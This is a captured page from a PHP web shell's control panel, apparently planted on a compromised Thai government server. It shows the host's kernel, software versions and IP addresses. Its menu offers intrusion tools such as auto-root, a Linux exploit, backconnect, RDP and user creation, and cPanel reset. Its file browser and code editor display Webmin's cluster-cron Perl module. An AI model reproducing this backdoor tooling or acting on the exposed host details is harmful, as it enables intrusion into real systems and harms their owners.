Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
cluster-cron /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
109
B
-rw-r--r--
cluster-cron-lib.pl
4.76
KB
-rwxr-xr-x
cron.pl
658
B
-rwxr-xr-x
delete.cgi
346
B
-rwxr-xr-x
delete_jobs.cgi
409
B
-rwxr-xr-x
edit.cgi
2.25
KB
-rwxr-xr-x
exec.cgi
1.18
KB
-rwxr-xr-x
index.cgi
1.92
KB
-rwxr-xr-x
log_parser.pl
879
B
-rwxr-xr-x
module.info
276
B
-rw-r--r--
module.info.ca
130
B
-rw-r--r--
module.info.ca.UTF-8
145
B
-rw-r--r--
module.info.cz
29
B
-rw-r--r--
module.info.cz.UTF-8
36
B
-rw-r--r--
module.info.de
138
B
-rw-r--r--
module.info.de.UTF-8
150
B
-rw-r--r--
module.info.es
33
B
-rw-r--r--
module.info.es.UTF-8
39
B
-rw-r--r--
module.info.fr
37
B
-rw-r--r--
module.info.fr.UTF-8
44
B
-rw-r--r--
module.info.hu
37
B
-rw-r--r--
module.info.hu.UTF-8
46
B
-rw-r--r--
module.info.ms_MY
118
B
-rw-r--r--
module.info.ms_MY.UTF-8
130
B
-rw-r--r--
module.info.nl
40
B
-rw-r--r--
module.info.nl.UTF-8
46
B
-rw-r--r--
module.info.no
29
B
-rw-r--r--
module.info.no.UTF-8
35
B
-rw-r--r--
module.info.pl
147
B
-rw-r--r--
module.info.pl.UTF-8
165
B
-rw-r--r--
save.cgi
1.82
KB
-rwxr-xr-x
uninstall.pl
233
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cluster-cron-lib.pl
# cluster-cron-lib.pl # XXX environment variables?? # XXX create script to run, which sets vars and includes input as << ? BEGIN { push(@INC, ".."); }; use WebminCore; &init_config(); &foreign_require("cron", "cron-lib.pl"); &foreign_require("servers", "servers-lib.pl"); $cluster_cron_cmd = "$module_config_directory/cron.pl"; $jobs_directory = "$module_config_directory/jobs"; # list_cluster_jobs() # Returns an array of cron jobs that are run on multiple servers sub list_cluster_jobs { local @rv; foreach $j (&cron::list_cron_jobs()) { if ($j->{'user'} eq 'root' && $j->{'command'} =~ /^$cluster_cron_cmd\s+(\S+)$/) { $j->{'cluster_id'} = $1; &read_file("$jobs_directory/$1", $j) || next; push(@rv, $j); } } return @rv; } # create_cluster_job(&job) # Create a new cluster cron job sub create_cluster_job { mkdir($jobs_directory, 0700); &lock_file("$jobs_directory/$_[0]->{'cluster_id'}"); &write_file("$jobs_directory/$_[0]->{'cluster_id'}", &cluster_params($_[0])); &unlock_file("$jobs_directory/$_[0]->{'cluster_id'}"); &lock_file("$cron::config{'cron_dir'}/$_[0]->{'user'}"); &cron::create_cron_job($_[0]); &unlock_file("$cron::config{'cron_dir'}/$_[0]->{'user'}"); } # modify_cluster_job(&job) # Update an existing cluster cron job sub modify_cluster_job { &lock_file("$jobs_directory/$_[0]->{'cluster_id'}"); &write_file("$jobs_directory/$_[0]->{'cluster_id'}", &cluster_params($_[0])); &unlock_file("$jobs_directory/$_[0]->{'cluster_id'}"); &lock_file($_[0]->{'file'}); &cron::change_cron_job($_[0]); &unlock_file($_[0]->{'file'}); } # delete_cluster_job(&job) sub delete_cluster_job { &lock_file("$jobs_directory/$_[0]->{'cluster_id'}"); unlink("$jobs_directory/$_[0]->{'cluster_id'}"); &unlock_file("$jobs_directory/$_[0]->{'cluster_id'}"); &lock_file($_[0]->{'file'}); &cron::delete_cron_job($_[0]); &unlock_file($_[0]->{'file'}); } sub cluster_params { local %rv; foreach $k (keys %{$_[0]}) { $rv{$k} = $_[0]->{$k} if ($k =~ /^cluster_/); } return \%rv; } # run_cluster_job(&job, &callback) # Runs a cluster cron job on all configured servers, and for each result calls # the callback function with parameters 0/1, a server object, and the output # or error message sub run_cluster_job { local @rv; local $func = $_[1]; # Work out which servers to run on local @servers = &servers::list_servers_sorted(); local @groups = &servers::list_all_groups(\@servers); local @run; foreach $s (split(/\s+/, $_[0]->{'cluster_server'})) { if ($s =~ /^group_(.*)$/) { # All members of a group ($group) = grep { $_->{'name'} eq $1 } @groups; foreach $m (@{$group->{'members'}}) { push(@run, grep { $_->{'host'} eq $m && $_->{'user'} } @servers); } } elsif ($s eq '*') { # This server push(@run, ( { 'desc' => $text{'edit_this'} } )); } elsif ($s eq 'ALL') { # All servers with users push(@run, grep { $_->{'user'} } @servers); } else { # A single remote server push(@run, grep { $_->{'host'} eq $s } @servers); } } @run = &unique(@run); # Setup error handler for down hosts sub inst_error { $inst_error_msg = join("", @_); } &remote_error_setup(\&inst_error); # Create a local temp file containing input local $ltemp = &transname(); open(TEMP, ">$ltemp"); local $inp = $_[0]->{'cluster_input'}; $inp =~ s/\\%/\0/g; @lines = split(/%/, $inp); foreach $l (@lines) { $l =~ s/\0/%/g; print TEMP $l,"\n"; } close(TEMP); # Run one each one in parallel and display the output $p = 0; foreach $s (@run) { local ($rh = "READ$p", $wh = "WRITE$p"); pipe($rh, $wh); select($wh); $| = 1; select(STDOUT); if (!fork()) { # Run the command in a subprocess close($rh); &remote_foreign_require($s->{'host'}, "webmin", "webmin-lib.pl"); if ($inst_error_msg) { # Failed to contact host .. print $wh &serialise_variable([ 0, $inst_error_msg ]); exit; } # Send any input to a temp file local $rtemp = &remote_write($s->{'host'}, $ltemp); # Run the command and capture output local $q = quotemeta($_[0]->{'cluster_command'}); local $rv; if ($_[0]->{'cluster_user'} eq 'root') { $rv = &remote_eval($s->{'host'}, "webmin", "\$x=&backquote_command('($_[0]->{'cluster_command'}) <$rtemp 2>&1')"); } else { $q = quotemeta($q); $rv = &remote_eval($s->{'host'}, "webmin", "\$x=&backquote_command(&command_as_user('$_[0]->{'cluster_user'}', 0, '$_[0]->{'cluster_command'}').' <$rtemp 2>&1')"); } &remote_eval($s->{'host'}, "webmin", "unlink('$rtemp')"); print $wh &serialise_variable([ 1, $rv ]); close($wh); exit; } close($wh); $p++; } # Get back all the results $p = 0; foreach $s (@run) { local $rh = "READ$p"; local $line = <$rh>; close($rh); local $rv = &unserialise_variable($line); if (!$line) { &$func(0, $s, "Unknown reason"); } else { &$func($rv->[0], $s, $rv->[1]); } $p++; } unlink($ltemp); return @run; } 1;
Close